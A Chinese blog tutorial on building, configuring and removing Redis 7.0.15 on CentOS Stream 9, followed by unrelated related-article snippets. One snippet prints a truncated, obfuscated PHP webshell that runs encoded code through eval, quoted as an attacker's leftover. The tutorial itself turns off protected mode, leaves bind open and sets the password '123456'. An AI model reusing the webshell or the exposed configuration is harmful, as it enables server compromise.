当前位置: 首页 > news >正文

基于CentOS Stream 9平台 安装/卸载 Redis7.0.15


已更正systemctl管理Redis服务问题

1. 官方下载地址 https://redis.io/downloads/#redis-downloads


1.1 下载或上传到/opt/coisini目录下:

mkdir /opt/coisini
cd /opt/coisini
wget https://download.redis.io/releases/redis-7.0.15.tar.gz

2. 解压

tar -zxvf redis-7.0.15.tar.gz 

3. 创建软连接

或者直接重命名 mv redis-7.0.15 redis

ln -s redis-7.0.15 redis

4. 进入redis目录

cd redis

5. 准备编译

安装 systemd-devel 和其他编译所需的依赖

yum -y install centos-release-scl devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutilsscl enable devtoolset-9 bash systemd-devel make gcc

配置并编译 Redis

make BUILD_WITH_SYSTEMD=yes

等待一会~


6. 安装编译:

make install 

1

6.1如果报以下错误:

解决办法:

make MALLOC=libc
1


7. redis的bin目录到$PATH

vi ~/.bash_profilePATH=$PATH:$HOME/.local/bin:/opt/coisini/redis/bin:$HOME/bin

esc :wq保存退出


8. 编辑配置文件

vi /opt/coisini/redis/redis.conf
(按Esc退出编辑模式下: /protected-mode 即可搜索)# 关闭保护模式
protected-mode no
# 守护进程模式开启
daemonize yes
# 绑定IP按需修改,bind指定网段远程访问redis,注释就没有限制了。
#bind 127.0.0.1 
# 端口(单机默认,集群按需修改)
port 6379# (搜/requirepass foobared)设置Redis密码
requirepass 123456# systemd接管服务
supervised systemd
# redis日志输出
logfile /var/log/redis/redis.log

注:云服务器一定要设置密码,避免服务器被当成矿机


8.1 创建redis日志目录并赋权

useradd -r -s /bin/false redis
mkdir -p /var/log/redis
chown redis:redis /var/log/redis
chmod 755 /var/log/redis
touch /var/log/redis/redis.log
chown redis:redis /var/log/redis/redis.log
chown -R redis:redis /opt/coisini/redis-7.0.15
chmod -R 770 /opt/coisini/redis-7.0.15

9. redis启动:进入src目录

cd /opt/coisini/redis/src./redis-server /opt/coisini/redis/redis.conf &  

redis


10. 开放端口

sudo firewall-cmd --permanent --add-port=6379/tcpfirewall-cmd --reload

11. Redis连接工具测试连接

redis


关闭命令:/opt/coisini/redis/src/redis-cli -a 123456 -p 6379 shutdown
关闭

12. 开机自启配置

在redis的utils目录下有相关脚本,我们改下用就行


12.1 etc目录下创建redis目录

mkdir /etc/redis

12.2 将redis配置文件拷贝一份到etc/redis目录下

cp /opt/coisini/redis/redis.conf /etc/redis/6379.conf

12.3 文件赋权,避免文件执行无权限

创建用户和组 redis

useradd -r -s /bin/false redis
chown redis:redis /etc/redis/6379.conf
chmod -R 755 /etc/redis/6379.conf
chown -R redis:redis /opt/coisini/redis
chmod -R 755 /opt/coisini/redis

12.4 编辑文件

vi /etc/systemd/system/redis.service

添加内容

[Unit]
Description=Redis data structure server
Documentation=https://redis.io/documentation
Wants=network-online.target
After=network-online.target[Service]
ExecStart=/opt/coisini/redis/src/redis-server /etc/redis/6379.conf
ExecStop=/opt/coisini/redis/src/redis-cli -a 123456 -p 6379 shutdown
# 用于服务进程的用户和用户组,建议设置为非 root 用户
User=redis
Group=redis
# 启动 Redis 的最大文件描述符数量限制
LimitNOFILE=10032
# 禁止服务进程提升权限
NoNewPrivileges=yes
# 私有临时目录
PrivateTmp=yes
# 服务类型为通知
Type=notify
# 启动超时设置
TimeoutStartSec=300
# 停止超时设置
TimeoutStopSec=300
# 文件权限掩码
UMask=0077
# 工作目录设置
WorkingDirectory=/opt/coisini/redis[Install]
WantedBy=multi-user.target

12.5 重新加载systemd配置

systemctl daemon-reload

12.6 启动Redis服务命令

systemctl start redis

12.7 查看状态

systemctl status redis

Redis


12.8 设置开机自启

systemctl enable redis

reboot重启测试了启动服务没有问题




13 卸载Redis

涉及 rm -rf 命令,请谨慎操作~

13.1 停止服务:

systemctl stop redis
systemctl status redis

status'


13.2 删除 Redis 可执行文件和目录

rm -rf /opt/coisini/redis-7.0.15
rm -rf /opt/coisini/redis
rm -rf /var/lib/redis
rm -rf /usr/local/bin/redis-*

13.3 移除 Redis 配置文件

rm -rf /etc/redis

13.4 删除 Redis 日志文件

rm -rf /var/log/redis

13.5 删除 Redis 用户和组

userdel redis
groupdel redis

13.6 移除 Redis 服务文件

rm -rf /etc/systemd/system/redis.service

重新加载 systemd 配置:

systemctl daemon-reload

13.7 检查是否还有 Redis 相关的残留

find / -name '*redis*' -print

显示 command not found 或类似提示,则Redis 已成功卸载(若是别的文件的可忽略,也许是另外一个软件的文件)。


13.8 卸载 Redis 依赖项(可选)

yum remove -y tcl
yum autoremove

13.9 清理系统缓存

yum clean all

END,搞定!

相关文章:

基于CentOS Stream 9平台 安装/卸载 Redis7.0.15

已更正systemctl管理Redis服务问题 1. 官方下载地址 https://redis.io/downloads/#redis-downloads 1.1 下载或上传到/opt/coisini目录下: mkdir /opt/coisini cd /opt/coisini wget https://download.redis.io/releases/redis-7.0.15.tar.gz2. 解压 tar -zxvf re…...

激励-保健理论和公平理论

激励-保健理论 herzberg的激励-保健理论中,保健因素是context of a job,激励因素是content of a job。 context of a job是受组织控制的因素,比如工作条件,基本工资,公司政策等,个人无法支配。content of…...

深入探索 Spring Boot 自定义启动画面

目录 引言什么是 Spring Boot 启动画面Spring Boot 默认启动画面为什么要自定义启动画面如何自定义 Spring Boot 启动画面 修改配置文件使用 Banner 接口通过图片实现启动画面ASCII 艺术画的应用 进阶:基于环境变量的动态 Banner多模块项目中的启动画面Spring Boot…...

Redis实战—Redis分布式锁

本博客为个人学习笔记,学习网站与详细见:黑马程序员Redis入门到实战 P56 - P63 目录 分布式锁介绍 基于Redis的分布式锁 Redis锁代码实现 修改业务代码 分布式锁误删问题 分布式锁原子性问题 Lua脚本 编写脚本 代码优化 总结 分布式锁介绍…...

联想Y7000P 2023款拆机教程及升级内存教程

0.电脑参数介绍 联想Y7000P 2023电脑,笔者电脑CPU为i7-13700H,14核20线程;标配内存为三星的DDR5-5600MHz-8GB*2,由于电脑CPU限制,实际内存跑的频率为5200MHz; 2个内存插槽,2个固态硬盘插槽。每个内存插槽最…...

开发常用依赖

目录 代理对象 Swagger Web 单元测试 MybatisPlus Lombok Mysql SpringBoot Jdk SpringCloud 数据库驱动包 hutool工具 配置仓库 通用库 maven插件 nacos注册中心 OpenFeign Spring AMQP JSON转换器 Redis 邮箱验证 Redisson分布式锁 客户端 代理对象 &l…...

【区分vue2和vue3下的element UI Empty 空状态组件,分别详细介绍属性,事件,方法如何使用,并举例】

在 Element UI(为 Vue 2 设计)和 Element Plus(为 Vue 3 设计)中,Empty(空状态)组件通常用于在数据为空或没有内容时向用户展示一种占位提示。然而,需要注意的是,Element…...

【AI作曲】毁掉音乐?早该来了!一个网易音乐人对于 AI 大模型音乐创作的思辨

引言:AI在创造还是毁掉音乐? 正如当初 midjourney 和 StableDiffusion 在绘画圈掀起的风波一样,suno 和 各大音乐大模型的来临,其实早该来了。 AI 在毁掉绘画?或者毁掉音乐? 没错,但也错了。…...

RabbitMQ实践——最大长度队列

大纲 抛弃消息创建最大长度队列绑定实验 转存死信创建死信队列创建可重写Routing key的最大长度队列创建绑定关系实验 在一些业务场景中,我们只需要保存最近的若干条消息,这个时候我们就可以使用“最大长度队列”来满足这个需求。该队列在收到消息后&…...

【pytorch02】手写数字问题引入

1.数据集 现实生活中遇到的问题 车牌识别身份证号码识别快递单的识别 都会涉及到数字识别 MNIST(收集了很多人手写的0到9数字的图片) 每个数字拥有7000个图像train/test splitting:60k vs 10k 图片大小28 28 数据集划分成训练集和测试集合的意义…...

【查看显卡信息】——Ubuntu和windows

1、VMware虚拟机 VMware虚拟机上不能使用CUDA/CUDNN,也安装不了显卡驱动 查看显卡信息: lspci | grep -i vga 不会显示显卡信息,只会输出VMware SVGA II Adapter,表示这是一个虚拟机,无法安装和使用显卡驱动 使用上…...

在 RK3568 上构建 Android 11 模块:深入解析 m、mm、mmm 编译命令

目录 Android 编译系统概述编译命令简介 环境准备使用 m、mm、mmm 编译模块编译整个源码树编译单个模块编译指定目录下的模块 高级应用并行编译清理编译结果编译特定配置 在 Android 开发中,特别是在 RK3568 这样的高性能平台上,有效地编译和管理模块是确…...

实战|YOLOv10 自定义目标检测

引言 YOLOv10[1] 概述和使用自定义数据训练模型 概述 由清华大学的研究团队基于 Ultralytics Python 包研发的 YOLOv10,通过优化模型结构并去除非极大值抑制(NMS)环节,提出了一种创新的实时目标检测技术。这些改进不仅实现了行业领…...

TTS前端原理学习 chatgpt生成答案

第一篇文章学习 小绿鲸阅读器 通篇使用chatgpt生成答案 文章: https://arxiv.org/pdf/2012.15404 1. 文章概述 本文提出了一种基于Distilled BERT模型的统一普通话文本到语音前端模块。该模型通过预训练的中文BERT作为文本编码器,并采用多任务学习技术…...

AI“音乐创作”横行给音乐家带来哪些隐忧

​​​​​​​近日,200多名国际乐坛知名音乐人联署公开信,呼吁AI开发者、科技公司、平台和数字音乐服务商停止使用人工智能(AI)来侵犯并贬低人类艺术家的权利,具体诉求包括,停止使用AI侵犯及贬低人类艺术家的权利,要求…...

SolidityFoundry 安全审计测试 Delegatecall漏洞2

名称: Delegatecall漏洞2 https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi 描述: 我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可…...

【字符串 状态机动态规划】1320. 二指输入的的最小距离

本文涉及知识点 动态规划汇总 字符串 状态机动态规划 LeetCode1320. 二指输入的的最小距离 二指输入法定制键盘在 X-Y 平面上的布局如上图所示,其中每个大写英文字母都位于某个坐标处。 例如字母 A 位于坐标 (0,0),字母 B 位于坐标 (0,1)&#xff0…...

2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第三部分)【AI测试版】

第三部分:人类基因组的深入分析与比较基因组学 摘要: 本部分基于2001年国际人类基因组测序联盟(IHGSC)发布的人类基因组测序及分析草图,从生物信息学角度深入讨论了人类基因组的结构特征和分析方法。同时,提及了塞莱拉公司(Celera Genomics)版本的人类基因组草图及其…...

外观模式(大话设计模式)C/C++版本

外观模式 C #include <iostream> using namespace std;class stock1 { public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;} };class stock2 { public:void Sell(){cout << …...

PHP木马原文

攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…...

3大核心功能解析:飞秋Mac版如何实现高效局域网通信

3大核心功能解析&#xff1a;飞秋Mac版如何实现高效局域网通信 【免费下载链接】feiq 基于qt实现的mac版飞秋&#xff0c;遵循飞秋协议(飞鸽扩展协议)&#xff0c;支持多项飞秋特有功能 项目地址: https://gitcode.com/gh_mirrors/fe/feiq 还在为Mac与Windows设备间的通…...

3分钟找回遗忘QQ号:手机号查询QQ号Python工具终极指南

3分钟找回遗忘QQ号&#xff1a;手机号查询QQ号Python工具终极指南 【免费下载链接】phone2qq 项目地址: https://gitcode.com/gh_mirrors/ph/phone2qq 你是否曾经因为忘记QQ号而无法登录重要账号&#xff1f;当更换手机或电脑时&#xff0c;那个熟悉的数字突然从记忆中…...

Jimeng AI Studio实现Web爬虫:数据采集自动化方案

Jimeng AI Studio实现Web爬虫&#xff1a;数据采集自动化方案 1. 项目背景与需求 电商公司每天需要从多个网站采集商品信息&#xff0c;传统的手工复制粘贴方式效率低下&#xff0c;而且容易出错。技术团队需要处理上百个商品页面的数据&#xff0c;包括价格、库存、描述和用…...

HunyuanVideo-Foley数据库集成实践:管理海量生成音效的元数据

HunyuanVideo-Foley数据库集成实践&#xff1a;管理海量生成音效的元数据 1. 引言&#xff1a;音效管理的现实挑战 最近接触了几家正在使用HunyuanVideo-Foley的影视制作公司&#xff0c;发现一个普遍现象&#xff1a;随着生成音效数量的爆炸式增长&#xff0c;团队开始面临管…...

GD32单片机ADC实战:从传感器到上位机,一步步搞定50kg压力采集(附源码/原理图)

GD32单片机ADC实战&#xff1a;从传感器到上位机的50kg压力采集全流程解析 在嵌入式开发领域&#xff0c;ADC&#xff08;模数转换器&#xff09;的应用一直是连接物理世界与数字系统的关键桥梁。想象一下&#xff0c;当你需要精确测量一个50kg范围内的压力变化时&#xff0c;从…...

图神经网络聚类:从范式演进到实战应用全景解析

1. 图神经网络聚类&#xff1a;为什么它正在改变数据科学游戏规则 想象一下你面前有一张巨大的社交网络关系图&#xff0c;每个节点代表一个用户&#xff0c;连线代表好友关系。传统聚类算法可能只能根据连接密度划分社群&#xff0c;但如果同时考虑用户的年龄、兴趣、地理位置…...

Qwen2.5-VL-7B-Instruct环境部署:torch29环境兼容性验证与降级策略

Qwen2.5-VL-7B-Instruct环境部署&#xff1a;torch29环境兼容性验证与降级策略 1. 项目概述与准备工作 Qwen2.5-VL-7B-Instruct是一款强大的多模态视觉-语言模型&#xff0c;能够同时处理图像和文本输入&#xff0c;生成高质量的响应。在部署过程中&#xff0c;我们发现torch…...

内网福音:手把手教你用Docker离线搞定Jitsi-Meet视频会议(附完整镜像包下载)

企业级内网视频会议解决方案&#xff1a;Docker化Jitsi-Meet离线部署全指南 在高度封闭的企业内网环境中部署视频会议系统一直是个技术难题。军工单位、金融机构核心网络、科研实验室等场景对数据安全有着近乎苛刻的要求&#xff0c;传统的SaaS视频会议方案无法满足其网络隔离需…...

从课程设计到毕业设计:手把手教你用STC89C52和DS1302做一个带温度显示的电子钟(附完整代码)

从课程设计到毕业设计&#xff1a;STC89C52与DS1302打造高精度温度显示电子钟实战指南 1. 项目规划与硬件选型 在开始动手之前&#xff0c;我们需要对整个项目进行系统性的规划。一个完整的电子钟系统需要考虑时间显示、温度监测、用户交互和电源管理等多个功能模块。对于高校电…...

告别setData地狱!用miniprogram-computed给你的微信小程序组件加上计算属性

告别setData地狱&#xff01;用miniprogram-computed给你的微信小程序组件加上计算属性 每次在小程序里处理复杂数据联动时&#xff0c;你是不是也经历过这样的痛苦&#xff1f;表单验证状态需要根据三个输入框内容实时更新&#xff0c;购物车总价要随着商品数量和优惠券动态计…...